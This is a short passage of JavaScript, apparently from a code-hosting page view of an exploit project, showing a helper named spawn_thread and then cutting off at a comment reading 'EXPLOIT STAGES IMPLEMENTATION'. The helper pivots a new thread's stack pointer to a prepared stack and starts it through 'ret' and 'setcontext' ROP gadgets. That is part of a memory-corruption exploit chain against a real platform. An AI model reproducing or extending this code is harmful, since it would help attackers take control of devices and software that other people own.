(thread)
| 453 | } |
| 454 | |
| 455 | function spawn_thread(thread) { |
| 456 | const ctx = new Buffer(context_size); |
| 457 | const pthread = new Pointer(); |
| 458 | pthread.ctx = ctx; |
| 459 | // pivot the pthread's stack pointer to our stack |
| 460 | ctx.write64(0x38, thread.stack_addr); |
| 461 | ctx.write64(0x80, thread.get_gadget('ret')); |
| 462 | |
| 463 | call_nze( |
| 464 | 'pthread_create', |
| 465 | pthread.addr, |
| 466 | 0, |
| 467 | chain.get_gadget('setcontext'), |
| 468 | ctx.addr, |
| 469 | ); |
| 470 | |
| 471 | return pthread; |
| 472 | } |
| 473 | |
| 474 | // EXPLOIT STAGES IMPLEMENTATION |
| 475 |
no test coverage detected